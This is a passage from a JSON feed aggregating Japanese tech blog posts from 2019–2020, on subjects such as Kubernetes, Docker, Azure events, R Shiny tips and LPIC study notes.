(DockerCon・KubeConEU報告会)Yahoo! JAPAN MEETUP #32 インフラ技術/Kubernetes6月NoOps Meetup Tokyo #6Kubernetes Meetup Tokyo #20 - KubeCon RecapGCPUG Tokyo Next Extended 2019 Infra DayInteract 20197月恐るることなかれ! Cloud NativeリレーショナルDB特集!! - cndjp第12回第三十五回 Azureもくもく会 @ 品川CloudNative Days Tokyo Meetup w/ Melanie CebulaKubernetes Meetup Tokyo #21 - Cloud Native CI/CDSekkeiKaigiCloud Native Days Tokyo 2019 → スタッフとして参加8月SRE Lounge #10CloudNative Days Tokyo 2019振り返りNightGo 1.13 Release Party in TokyoKubernetes Meetup Tokyo #229月Docker Meetup Tokyo #32Japan Azure User Group 9周年イベントXP祭り2019golang.tokyo #26Cloud Native Meetup Tokyo #10Kubernetes Meetup Tokyo #23 - Operator Deep Dive10月Terraform meetup tokyo#2Kubernetes Meetup Tokyo #24SRE Lounge #1111月さくらの夕べDocker/Kubernetesナイト #2Go Release 10 Year Anniversary Party in Tokyoゴリラ.vim #10 非公式VimConf後夜祭 girls.vimと合同開催技術書典8 はじめてのサークル参加meetupMicrosoft Open Tech Night #1 - インフラ編+Ignite速報俺たちの最適なCloud Nativeを求めて…。本気のこと始め! - cndjp第13回12月Japan Rook Meetup #1Cloud Native Meetup Tokyo #11 KubeCon RecapGDG DevFest Tokyo 2019Microsoft Open Tech Night #3 - クラウドネイティブ編登壇資料speakerdeck.comspeakerdeck.comspeakerdeck.com書籍商業誌Kubernetes完全ガイドしくみがわかるKubernetesみんなのDocker/KubernetesKubernetes実践入門情報処理安全確保支援士 教科書みんなのGo言語インフラエンジニアの教科書Linuxのしくみ分散システムデザインパターン入門監視Linux教科書 LPICレベル1Docker実践ガイドKubernetes実践ガイド同人誌ふりかえり読本 場作り編ふりかえり読本 学び編ふりかえり読本 実践編理論と事例でわかる自己肯定感理論と事例でわかるモチベーション現場の「ズレ」を解消するコミュニケーションメソッド 第2版会話の引き出しを増やす 1on1カード と 使いこなしブックPrometheusでKubernetesを監視する本Kubernetes-Native Development & Deployment実践入門 Kubernetes カスタムコントローラへの道Knativeの歩き方資格情報処理安全確保支援士LPIC 101、102ツール・技術DockerKubernetesHelmPrometheusGrafanaLokiArgo CDConcourseTerraformTelepresencecert-managerWindowsコンテナMicrosoft AzureGo言語Vue.js社内での活動定期勉強会を主催ふりかえりを実施、ファシリテーター役Dockerワークショップを開催2020年の目標2020年もCloud Nativeを突き進む予定です。マストCKA、CKADを取得するコミュニティに貢献するOSSにコントリビュートするGo言語でのプログラミングに慣れる英語力を高めるできれば業務としてKubernetesを扱える環境に身を置く(遠回しな表現)技術書を書く","isoDate":"2020-01-31T19:03:51.000Z","dateMiliSeconds":1580497431000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"docker (rocker) でheadless Chromeを動かす","link":"https://blog.atusy.net/2020/01/14/chromote-on-rocker/","contentSnippet":"RでWebページのスクリーンショットを撮るにはheadless Chromeが今風?従来、RでWebページのスクリーンショットを撮るにはwebshotパッケージが活躍してきました。しかし、webshotパッケージの内部で動くPhantomJSは開発が停止して久しいです。そんな中、webshotパッケージの開発者であるwchは、headless Chromeを使ってスクリーンショットを撮影するwebshot2パッケージをRStudio製OSSとして開発開始しました。","isoDate":"2020-01-14T00:00:00.000Z","dateMiliSeconds":1578960000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"テストで使いたくて,DinD (Docker in Docker) でk8sの環境を整えた","link":"https://qiita.com/tozastation/items/eafde1a75c35bb9d1a68","contentSnippet":"TL;DRこちらのDockerfileを見納めくださいkindとアプリケーションのコンテナを分けても良かったのですが,kubeconfigの受け渡しが面倒だったので妥協しましたhttps://…","isoDate":"2019-12-30T14:30:36.000Z","dateMiliSeconds":1577716236000,"authorName":"tozastation","authorId":"tozastation"},{"title":"0からはじめる Windows on Kubernetes","link":"https://qiita.com/kyohmizu/items/dffdd49123b1e47c3ac4","contentSnippet":"はじめにKubernetes の Windows 対応は v.1.14 でGAとなりました。本記事では、既存の Kubernetes クラスタに0から Windows ワーカーノードを追加する方…","isoDate":"2019-12-22T18:19:52.000Z","dateMiliSeconds":1577038792000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"importasパッケージでPython風にパッケージを使おう","link":"https://blog.atusy.net/2019/12/21/importas/","contentSnippet":"Rアドベントカレンダー、12/21の記事です。Rmd関連のつもりでしたが、時間がないので、最近作ったimportasパッケージのネタに走ることにしました。importasパッケージでは、Pythonにおけるimport numpy as npみたいなことが、Rでできるようになります。Pythonではimportしたライブラリにドットを繋ぐ形で、関数の呼び出しを行います(例えばnp.mean)。同様に、importasパッケージではggplot2 %as% ggなどとパッケージ名を省略し、$演算子を用いて関数を呼び出します(例えばgg$ggplot)。","isoDate":"2019-12-21T00:00:00.000Z","dateMiliSeconds":1576886400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Knative Serving in Production","link":"https://qiita.com/toVersus/items/1317a31fead9b836a68d","contentSnippet":"概要Knative Serving は、ステートレスなアプリケーションを対象に、HTTP リクエスト駆動で自動スケールする仕組みを提供します。Kubernetes (K8s) と Ingress (Isti…","isoDate":"2019-12-18T22:00:21.000Z","dateMiliSeconds":1576706421000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"キャリアアップ支援制度を利用してArchitecting on AWSを受講しましたというアドベントカレンダー書いてました","link":"https://blog.masasuzu.net/entry/2019/12/15/004259","contentSnippet":"tech.mobilefactory.jpだいぶ前に受けたArchitecting on AWSの聴講記録です。","isoDate":"2019-12-14T15:42:59.000Z","dateMiliSeconds":1576338179000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"GDG DevFest Tokyo 2019に行ってきた","link":"https://blog.masasuzu.net/entry/2019/12/14/000000","contentSnippet":"tokyo.gdgjapan.org珍しく、何も予定が入ってない土曜日だったので、行ってきました。最近GCPを触る機運が出てきたのでちょうどいいタイミングでした。以下メモGCP 101 | 坂田 純 | GDG DevFest Tokyo 2019主にCloudRunの話。HTTPをlistenするコンテナを起動するサービス。使った分だけ課金対象となる。リクエスト数次第で自動的にスケールする。とお手軽にできそうな印象。インターフェースがHTTPなので基本的にはパブリックでアクセス出来てしまうが、--no-allow-unauthticatedオプションをつけてデプロイするとで限られた人だけ実行できるようになります。これでバッチ的なことができそう?マイクロサービスの開発とテストファースト/テスト駆動開発 | 柴田 芳樹 | GDG DevFest Tokyo 2019ちょいちょいブログとかは見てましたが、話を聞くのは初めてでした。還暦を迎えてもコードをバリバリ書いてるのは素直に尊敬します。メルペイのマイクロサービスのテストにも興味深かったですが、組み込みでのテストの話も興味深く聴かせてもらいました。ツールや環境の充実度の差はあれど、組み込みでもウェブでもやるべきことは同じなのだなと思いました。CloudNative 時代における GKE/Kubernetes ではじめる開発 | 青山 真也 | GDG DevFest Tokyo 2019k8sの紹介的な話。k8s好きになりました。話がすごいうまくて、めんどくさそうだなあと思ってたkubernetesの印象が変わりました。その他:D社のブースを覗いたらMOVの構成図が展示されていて、IoT関連だけAWSを使っていてそれ以外はGCPを使ってるのが興味深かった。IoT関連のものも別で実装して、AWSからは引き上げるようなことを言ってて、なるほどなあとなりました。基本的にAWSで構成されたインフラばかり見てたのでなかなか新鮮でした。","isoDate":"2019-12-13T15:00:00.000Z","dateMiliSeconds":1576249200000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"【イベント参加レポート】Microsoft Ignite The Tour Tokyo","link":"https://kyohmizu.hatenablog.com/entry/2019/12/10/012041","contentSnippet":"2019/12/5(木)、6(金)に開催された Microsoft の Tech イベントに参加しました。www.microsoft.com概要アメリカで行われた Ignite のセッションを再演登壇者は他人の資料で発表 (翻訳以上の改変はできないと聞きました)新情報の発表等はされず、通常セッションとハンズオンのみMicrosoft エキスパートとの交流の場外国人のスタッフを多数配置基本的には英語でやり取りするらしい (私は話しませんでした)感想外国人が多く、グローバルな印象を受けました。会場はいつものホテルでしたが、やはりセッションの入れ替え時は非常に混雑します。ブースのエリアはスペースを広くとってあり、割と閑散としていた気がします (セッション中は特に)。技術的には初級者向けの内容が多かったと思います。セッションよりは、どちらかといえばコミュニケーションを重視したイベントのようでした。MSの方やブースの担当者と話すことができ、有意義な時間を過ごせました。参加して得るものはありました。セッション参加セッションのまとめとメモ。THR30031 - Azure とコマンドライン-オプション、ヒント、テクニック難易度:初級メモエクスプローラーでcmdをパスに入力(powershell、wslも)Windows Console → Windows TerminalTerminalはStoreで入手可能Azure CLIやVSCode RemoteはサラッとAPPS30 - コンテナーを利用したアプリケーションの最新化資料:https://github.com/microsoft/ignite-learning-paths-training-apps/tree/master/apps30難易度:初級要点コンテナ、Dockerの基礎的な説明コンテナランタイムやマルチステージビルド等は、軽く話に出る程度コンテナに関しては特に知らない話はなかったACRやACIの概要、使い方の軽い説明サービス移行のデモではコンテナ化してApp Service、CosmosDB、SQL Databaseを使用メモデータセンターのアプリをクラウドにLift&Shift仮想マシンはいいけど無駄が多いコンテナを使ったモダナイゼーションアプリの境界を明確にする旧バージョンの残りファイルがなくなるオーバーヘッドなしでリソース分離繰り返し可能なビルド、環境構築コンテナを使う理由あらゆる環境で同じように動作するベロシティの向上コンテナの仕組み高度に構成されたプロセスcgroupsnamespaceベースイメージからの差分をgzip化したものコンテナランタイムの軽い説明Docker以外にも対応、containerd、runCDockerfileイメージのビルド方法を説明するテキストファイルバッチスクリプトみたいなものビルドリポジトリACRACIサーバーレスのコンテナ実行環境ハイパーバイザーレベルの分離デモサービス移行の話APPS40 - インフラストラクチャと Azure Kubernetes Service を統合する資料:https://github.com/microsoft/ignite-learning-paths-training-apps/tree/master/apps40難易度:中級要点AKSの作成手順の説明AKSとAzureの連携サービスについて知識を整理できたオートスケールの話は理解が浅かったので参考になったAKSを使う最大のメリットはAzureADとの連携ネットワークとセキュリティの話は非常に参考になったネットワークポリシーやAZメモ基本的な使い方ではなく、発展的な内容Tailwind Tradaersのデモ経営、ビジネス課題に対応復元力セキュリティ柔軟性スケールKubernetesを選択する理由抽象化のための標準化されたAPI自己修復スケーラビリティk8sアーキテクチャAKSはマスターノードが無料で提供されるネットワークに2種類指定できるデフォルトはkubenetAzure CNI 仮想ネットワークを使用。大規模ネットワークに対応。きちんと設計する必要があるACIを仮想ノードとして使用AZAKSの作成リソースグループ仮想ネットワークサブネットサービスプリンシパル(k8sから他のリソースを作成)クラスタ本番クラスタを作成するにはオプションを多数指定する必要がある作成時にしか設定できないオプションがあるインストール時にCNI、AZの設定をする仮想ノードの有効化ACIをAKSから使えるようにする必要があるRabbitMQ is 何?HPAメトリクスサーバーにPodから情報が送られる閾値を超えたらスケールクラスタオートスケーラーノードのスケール仮想ノードLinux、Windows、GPUに対応nodeselectorで指定仮想ノードによるスケールのデモネットワークとセキュリティACRでコンテナの脆弱性をチェックAKSを使う最大のメリットはAzureADとの連携!Azure Key VaultPod間の通信Pod IdentityNMI Server(Daemonset)MICAzure Identity BindingネットワークポリシーPod間トラフィックの保護Azure Network PolicyAzure CNIを使ったPodブリッジレベルCalico Network PolicyカーネルレベルAZベータ版データセンター障害の回復性ゾーンは3つまで使用可能ゾーンの数に合わせてレプリカ数を設定THR10007 - ITと技術者の将来について語り合うエモい話要点ディスカッション形式コミュニティ参加やアウトプットを重視しているどんどんチャレンジしてスキルをつけていくことが大事メモ今後あるいは10年後どうなる?これからチャレンジしたいことは?MRフリーランス自分の営業をこれからも続けていく自分が何が得意で、何が苦手かアピールブルーオーシャンを探したいコミュニティのエンパワーメント出てこない人にどうやって技術を好きになってもらうか社内コミュニティを作ってもらうお勧めしたいことは?技術を楽しんで、周りに広めていく仲間ができてコミュニティができる人を変えるのは難しい、好きなことを広めることならできる楽しんでる雰囲気を出していると向こうから来てくれる自分の強みを知って、それを発信していく業務で触ってなくてもコミュニティで発表いていたやりたいこと、好きなことを見つけて、人が見える場所に出していく外のコミュニティに参加してみる会社にいるだけではスキルはプロジェクト依存コミュニティの熱量がすごいアウトプットすると強い人がインプットをくれるとりあえず踏み出してみる楽しんだもの勝ちやりたいことを素直にやってみるUNC10013 - Vue.js 3 に向けた Vue.js 入門難易度:初級~中級要点Vue.js の設計思想、V3 でも使える構文、V3 の新機能コンポジッションAPI関数ベースで提供される APIコンポーネントのロジックが綺麗になるV2 でもお試しで使えるブース立ち寄ったブースの中で、興味を持った内容を紹介します。LenovoLenovo ThinkSystem SE350 | レノボジャパン軽量でコンパクトなエッジサーバーWifi、LTE、有線ネットワーク対応Intel製品概要: OpenVINO™ ツールキットエッジでのディープラーニング推論アプリケーション開発学習済みモデルを無料で利用可能インテルCPUに対応PivotalAzure Spring Cloud | Microsoft DocsSpring Boot アプリをクラウドで実行ベータ版のサービスAKS 上にデプロイされる水平スケールやメトリクス、ログの収集が可能AKS は隠蔽されているため、ユーザーからは見えない手軽に導入できるので POC にも適している","isoDate":"2019-12-09T16:20:41.000Z","dateMiliSeconds":1575908441000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"tidymodelsでもxgboostを解釈したい","link":"https://blog.atusy.net/2019/10/29/interpret-tidymodels/","contentSnippet":"はじめにXGBoostによる学習Variable Importance Plot (VIP)Partial Dependence Plot (PDP)可視化で得られた考察を反映するはじめにtidymodelsに属するparsnipパッケージを用いて機械学習を行った場合、大本のパッケージで学習した場合と異なる構造のオブジェクトが返ります。例えばxgboost::xgboost関数で学習した結果はxgb.Boosterクラスを持つオブジェクトです。一方でparsnip::fit関数を用いてXGBoostの学習を行った結果は、_xgb.Boosterクラスとmodel_fitクラスを持つオブジェクトです。","isoDate":"2019-10-29T00:00:00.000Z","dateMiliSeconds":1572307200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Zero Scale Abstraction in Knative Serving - Part1","link":"https://qiita.com/toVersus/items/9fa635e9cf57643f8dd6","contentSnippet":"Serverless Days Tokyo 2019 の Zero Scale Abstraction in Knative Serving というセッションの内容を書き起こしたものです。スピーカー…","isoDate":"2019-10-23T13:20:58.000Z","dateMiliSeconds":1571836858000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"LPIC 102 チートシート","link":"https://qiita.com/kyohmizu/items/d5d6fedc527efa9f649c","contentSnippet":"試験前の確認事項としてまとめた内容です。環境変数ロケールディレクトリ・ファイル文字コードIPアドレスのクラスプライベートアドレスポート変数envsetshellのオプションエ…","isoDate":"2019-10-09T01:56:54.000Z","dateMiliSeconds":1570586214000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"LPIC 101チートシート","link":"https://qiita.com/kyohmizu/items/923844999018fd456d44","contentSnippet":"試験前の確認事項としてまとめた内容です。環境変数デバイスファイルファイルシステムディレクトリ・ファイルsystemdのユニットvi正規表現dpkg設定ファイル /etc/dpkg/…","isoDate":"2019-10-09T01:48:33.000Z","dateMiliSeconds":1570585713000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"Rで作る対称コルーチン","link":"https://blog.atusy.net/2019/10/03/symmetric-coroutine/","contentSnippet":"n月刊ラムダノート Vol.1の『「コルーチン」とは何だったのか』を読んでいる。せっかくなので勉強がてら、Rでコルーチンを実装してみることにした。今回は元祖コルーチンとして紹介されている対称コルーチンを扱う。","isoDate":"2019-10-03T00:00:00.000Z","dateMiliSeconds":1570060800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"面倒なことはScalaスクリプトにやらせよう / let scala scripts do the troublesome things","link":"https://speakerdeck.com/nomadblacky/let-scala-scripts-do-the-troublesome-things","contentSnippet":"2019/09/13 Scala秋祭り","isoDate":"2019-09-16T04:00:00.000Z","dateMiliSeconds":1568606400000,"authorName":"Takumi Kadowaki","authorId":"nomadblacky"},{"title":"lemon パッケージで facet した ggplot2 に軸を表示する","link":"https://blog.atusy.net/2019/08/18/lemon-facet-rep/","contentSnippet":"","isoDate":"2019-08-18T00:00:00.000Z","dateMiliSeconds":1566086400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdown で coord_fixed な ggplot2 の余白を取り除く","link":"https://blog.atusy.net/2019/08/12/rmd-fig-crop-margin/","contentSnippet":"不要な余白 (黒色部) ができてしまう時は、チャンクオプションの fig.process に画像処理を行う関数を指定しよう。","isoDate":"2019-08-12T00:00:00.000Z","dateMiliSeconds":1565568000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Rmd + Revealjs で簡単に印刷もできる2カラムレイアウトを実現する (inline-block)","link":"https://blog.atusy.net/2019/08/11/revealjs-2col-inline-block/","contentSnippet":"出力例実装CSSYAML フロントマターCSS チャンクマークダウン記法Rmd 例Enjoy!R Markdown で Reveal.js を使ったスライド作りをする時、時々欲しくなるのが、2カラムレイアウトだ。","isoDate":"2019-08-11T00:00:00.000Z","dateMiliSeconds":1565481600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Shiny で動的に図の数を変更する","link":"https://blog.atusy.net/2019/08/09/shiny-dynamic-numer-of-plots/","contentSnippet":"","isoDate":"2019-08-09T00:00:00.000Z","dateMiliSeconds":1565308800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Shiny でプロットを click したり brush したりした時に得られるデータまとめ","link":"https://blog.atusy.net/2019/08/07/shiny-clickopts/","contentSnippet":"tr:nth-child(even) { background: #eee;}Shiny では plotOutput の click, dblclick, hover, brush 引数を利用することで,プロットした画像からマウス操作で座標情報などを取得できる.この時得られるデータがドキュメントされていなかったので調査した.","isoDate":"2019-08-07T00:00:00.000Z","dateMiliSeconds":1565136000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Shiny でマウスの位置に応じてプロットにツールチップを表示する","link":"https://blog.atusy.net/2019/08/06/shiny-hover-tooltip/","contentSnippet":"Shiny でプロットにツールチップを表示させる一番簡単な方法は plotly を使うことだろうが,Shiny だけで頑張ってしまうと柔軟でいい.","isoDate":"2019-08-06T00:00:00.000Z","dateMiliSeconds":1565049600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Shiny で input の変更が反映されるまでの時間を調整する (debounce / throttle)","link":"https://blog.atusy.net/2019/08/04/shiny-throttle-and-debounce/","contentSnippet":"入力から一定時間の経過を待ってプログラムを実行するには debounce や throttle を使う.","isoDate":"2019-08-04T00:00:00.000Z","dateMiliSeconds":1564876800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"DT::datatable の行番号を並べ変え可能にする (Shiny / 非Shiny)","link":"https://blog.atusy.net/2019/08/03/dt-ordered-by-row-numbers/","contentSnippet":"DT::datatable とは行名 (行番号) で並べ変える非 shinyshinyrenderDT(server = FALSE) にする行番号相当の列を用意するEnjoy!DT::datatable とはDT::datatable は jQuery 用の DataTables プラグインを R で使うための関数だ.これに iris などのデータフレームを与えると,対話的な表を簡単に作れる.","isoDate":"2019-08-03T00:00:00.000Z","dateMiliSeconds":1564790400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Shiny でプロットの高さをブラウザ画面のサイズに合わせて変更する","link":"https://blog.atusy.net/2019/08/01/shiny-plot-height/","contentSnippet":"","isoDate":"2019-08-01T00:00:00.000Z","dateMiliSeconds":1564617600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Shiny で表示タブを変更するリンクを貼る","link":"https://blog.atusy.net/2019/07/31/shiny-show-tab/","contentSnippet":"","isoDate":"2019-07-31T00:00:00.000Z","dateMiliSeconds":1564531200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdown でコードの折り畳みをチャンクごとに選択可能にした (rmarkdown 1.15)","link":"https://blog.atusy.net/2019/07/24/rmd-1-15-gh/","contentSnippet":"html_document ではコードの折り畳みができる.使い方は簡単で,YAMLフロントマターにて code_folding を指定するだけだ1.none: code_folding を無効化する.show: デフォルトで全て表示する.hide: デフォルトで全て非表示にする.show・hideの場合は,後からソースコードごとにボタンで表示を切り替えることができる.","isoDate":"2019-07-24T00:00:00.000Z","dateMiliSeconds":1563926400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"bookdown のコミッタになったのでこれまでの貢献を振り返る","link":"https://blog.atusy.net/2019/07/07/bookdown-committer/","contentSnippet":"bookdown のコミッタになった.ほんまにええんかいなと思いつつ,貢献を続けていく上で励みになるので,ありがたく頂戴した次第.私が過去に出した PR が Pandoc の仕様変更に巻き込まれたので,どうするか相談していたところ,","isoDate":"2019-07-07T00:00:00.000Z","dateMiliSeconds":1562457600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Tidyr 1.0.0 で追加される pack を使えば見せる用の表が簡単に作れるかも","link":"https://blog.atusy.net/2019/07/07/application-of-pack/","contentSnippet":"","isoDate":"2019-07-07T00:00:00.000Z","dateMiliSeconds":1562457600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"knitr はチャンクが掃き出すコードブロックにもっとクラス属性を与えるべきと思ったが PR を断念した","link":"https://blog.atusy.net/2019/07/05/gave-up-pr-to-knitr/","contentSnippet":"R Markdown ではチャンクオプションを利用して,ソースコード,出力,メッセージ,警告,エラーに対して,クラス属性などを付与できる.だったら最初から chunk-source, chunk-output, …って感じのクラス持たせておいた方がよくない?って思った.","isoDate":"2019-07-05T00:00:00.000Z","dateMiliSeconds":1562284800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Pandoc 2.7.3 を使うと bookdown におけるコードブロックの行番号がちょっと楽になりそう","link":"https://blog.atusy.net/2019/07/03/rmd-line-num-in-pandoc-2-7-3/","contentSnippet":"Pandoc 2.7.3 を使うと bookdown におけるコードブロックの行番号がちょっと楽になりそうな一方で問題もあるのでメモ.bookdown に依存している pagedown や blogdown も関係しうる.","isoDate":"2019-07-03T00:00:00.000Z","dateMiliSeconds":1562112000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdown + Honoka の実用化は険しい","link":"https://blog.atusy.net/2019/07/03/honokadown/","contentSnippet":"rmarkdown::html_document に Honoka という 日本語表示を最適化した Bootstrap テーマをあてたかった. 今のところ,まともに使おうとすると本家と Honoka の bootstrap.min.css を両方取り込むことになって非効率.","isoDate":"2019-07-03T00:00:00.000Z","dateMiliSeconds":1562112000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"雑訳vignette: Pivoting (tidyr 1.0.0)","link":"https://blog.atusy.net/2019/06/29/pivoting-tidyr-1-0-0/","contentSnippet":"tiydr 1.0.0 で追加される pivot_longer() と pivot_wider() の使い方を紹介する vignette の雑な訳","isoDate":"2019-06-29T00:00:00.000Z","dateMiliSeconds":1561766400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"CRAN にパッケージを初投稿する手順","link":"https://blog.atusy.net/2019/06/28/cran-submission/","contentSnippet":"R のヘルプをもっと便利にする felp パッケージが CRANからリリースされた.この経験を踏まえ,CRAN 投稿を初挑戦する人向けの情報を纏めた.","isoDate":"2019-06-28T00:00:00.000Z","dateMiliSeconds":1561680000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"dplyr::mutate_all と purrr::modify の比較","link":"https://blog.atusy.net/2019/06/13/mutate-all-vs-modify/","contentSnippet":"dplyr::mutate_all はデータフレーム中の各変数 (列) に対して関数を適用する。purrr::modify はリストライクなオブジェクトの各要素に対して関数を適用するが、返り値は入力したオブジェクトと同じクラスになる。このため、データフレームを入力するとデータフレームを返すので、 dplyr::mutate_all のように振る舞うことができる。","isoDate":"2019-06-13T00:00:00.000Z","dateMiliSeconds":1560384000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"de:code 2019 参加レポート","link":"https://kyohmizu.hatenablog.com/entry/2019/06/06/111805","contentSnippet":"Microsoft主催のテクニカルカンファレンス「de:code 2019」に参加してきました。www.microsoft.com参加セッション1日目コンテナ技術を中心にセッションを選択【KN01】基調講演【CD06】しくみがわかる Azure Kubernetes Service (AKS) ~開発者目線で Kubernetes の基本を理解する~【CD01】Windows Containers と Azure による、既存 .NET アプリケーションのモダナイゼーション【CD91】HashiCorp Terraform Azure Provider チュートリアル【CD12】マネージド Kubernetes ガチ本番運用 in ZOZOTOWNwww.youtube.com2日目コンテナ・セキュリティのセッションを選択【SE07】脆弱性はなぜ生まれ、どのように攻撃されるのか? 安全なアプリを開発、運用するためのきほん【CD93】コンテナ環境の永続化ストレージ問題を NetApp Kubernetes Service と Azure NetApp Files でさらっと解決【CM12】.NET Core マルチ プラットフォームの本質【SE05】もうセキュリティはやりたくない!! 第 3 弾 ~Azure Sentinel Deep Dive~注目技術参加したセッションの中で、特に印象に残った or 関心のある技術を取り上げます。Azure Kubernetes Service(AKS)Azureのマネージド Kubernetes サービスである AKS ですが、導入事例が増えてきているそうです。ノロジーズをはじめ、いくつかの企業が自社の導入について講演していました。Kubernetes に概要や操作に関しては特筆することはありませんでしたが、Azure関連の技術として以下に興味を持ちました。Kubernetes-based Event-driven Autoscaling(KEDA)Microsoft と Red Hatが共同作成したプロジェクト。イベント駆動でコンテナのオートスケールを実現します。GitHub - kedacore/keda: KEDA is a Kubernetes-based Event Driven Autoscaling component. It provides event driven scale for any container running in KubernetesVirtual Kubeletkubelet のように動作し、Kubernetes と他のAPIを接続する役割を果たすもの。VM と同じように Kubernetes クラスタで一元管理できます。GitHub - virtual-kubelet/virtual-kubelet: Virtual Kubelet is an open source Kubernetes kubelet implementation.Windows コンテナサポートWindows Server Node が、Kubernetes クラスタで Linux Node と同時に管理できるようになりました。AKS では Multiple Node Pool を使用することで Windows Server Node を作成できます。チュートリアルを試しましたが、なぜかクラスタ作成に失敗)Windows containers now supported in Kubernetes - Open Source blogAzure NetApp FilesNetApp 社の高速ストレージサービス。SSD 並みの速度が出るそうで、Kubernetes の永続化ボリュームとして有用だと思います。また NetApp Kubernetes Service という Kubernetes 管理サービスも提供しているようです。(Rancher みたいなもの?)Azure NetApp Files documentation | Microsoft DocsAzure SentinelAI を使用した高機能なセキュリティサービス。Azure Sentinel | Microsoft Azureその他Azure DevOpsAzure PiplineApp ServiceService FabricWSL2感想Azureに関連したテーマのセッションがほとんどでした。クラウドサービスは以前に比べ使いやすくなっていて、機能も充実してきた印象です。AKS、AzureADの動向は今後も注目していこうと思います。LT資料社内勉強会で de:code の recap を発表しました。 Recap of de code 2019 from Kyohei Mizumoto www.slideshare.netおまけ2日間のお昼のお弁当です。1日目2日目","isoDate":"2019-06-06T02:18:05.000Z","dateMiliSeconds":1559787485000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"行列を行/列ごとのリストに変換する関数の紹介とベンチマーク (base::asplit, purrr::array_tree, purrr::array_branch)","link":"https://blog.atusy.net/2019/06/01/asplit-r-3-6-0/","contentSnippet":"baseasplitasplit(行列)asplit(配列)purrrarray_treearray_tree(行列)array_branch(配列)array_tree(ベクトル)array_branchベンチマークR 3.6.0 では行列や配列を MARGIN に応じたリストに分割する asplit 関数が追加された.既に purrr パッケージが同様の機能として array_tree や array_branch を実装していたので,挙動とベンチマーク結果を比較してみる.","isoDate":"2019-06-01T00:00:00.000Z","dateMiliSeconds":1559347200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Kubernetesリンク集","link":"https://kyohmizu.hatenablog.com/entry/2019/05/28/115504","contentSnippet":"Kubernetes関連の役立つリンクを記載します。公式リファレンスReference - KubernetesKubectl Reference DocsPhippy and Friends - Cloud Native Computing FoundationGitHubGitHub - kubernetes/kubernetes: Production-Grade Container Scheduling and ManagementGitHub - kelseyhightower/kubernetes-the-hard-way: Bootstrap Kubernetes the hard way on Google Cloud Platform. No scripts.GitHub - jamiehannaford/what-happens-when-k8s: \uD83E\uDD14 What happens when I type kubectl run?プロダクトGoogle Kubernetes Engine documentation \xa0|\xa0 Kubernetes Engine \xa0|\xa0 Google CloudAzure Kubernetes Service (AKS) Documentation - Tutorials, API Reference | Microsoft DocsWhat Is Amazon EKS? - Amazon EKSDocumentation | Rancher LabsK3s: Kightweight KubernetesPivotal Container Service (PKS) | Pivotalスライド、ブログ等Kubernetes のソースコードとの付き合い方 #gounco / Kubernetes source code reading - Speaker DeckKubernetes Patterns : Capacity PlanningKubeWeekly - QiitaKubernetesのユーザー管理と認証・権限確認機構を理解しよう | さくらのナレッジ書籍Kubernetes完全ガイド - インプレスブックス","isoDate":"2019-05-28T02:55:04.000Z","dateMiliSeconds":1559012104000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"【20日チャレンジ】LinuxコマンドをGoで実装","link":"https://kyohmizu.hatenablog.com/entry/2019/05/23/172119","contentSnippet":"Go言語の学習のため、LinuxコマンドをGoで実装します。\\r目的\\r\\rGo言語に慣れる\\r標準パッケージの機能、使い方を知る\\r\\rルール\\r以下のルールでチャレンジを行います。\\r\\r1日1コマンドを実装する\\r最低限、コマンドの基本的な動作(オプションなしの実行など)を行えるようにする\\r余裕があれば追加機能を実装する\\rコマンド名は\\"my\\" + 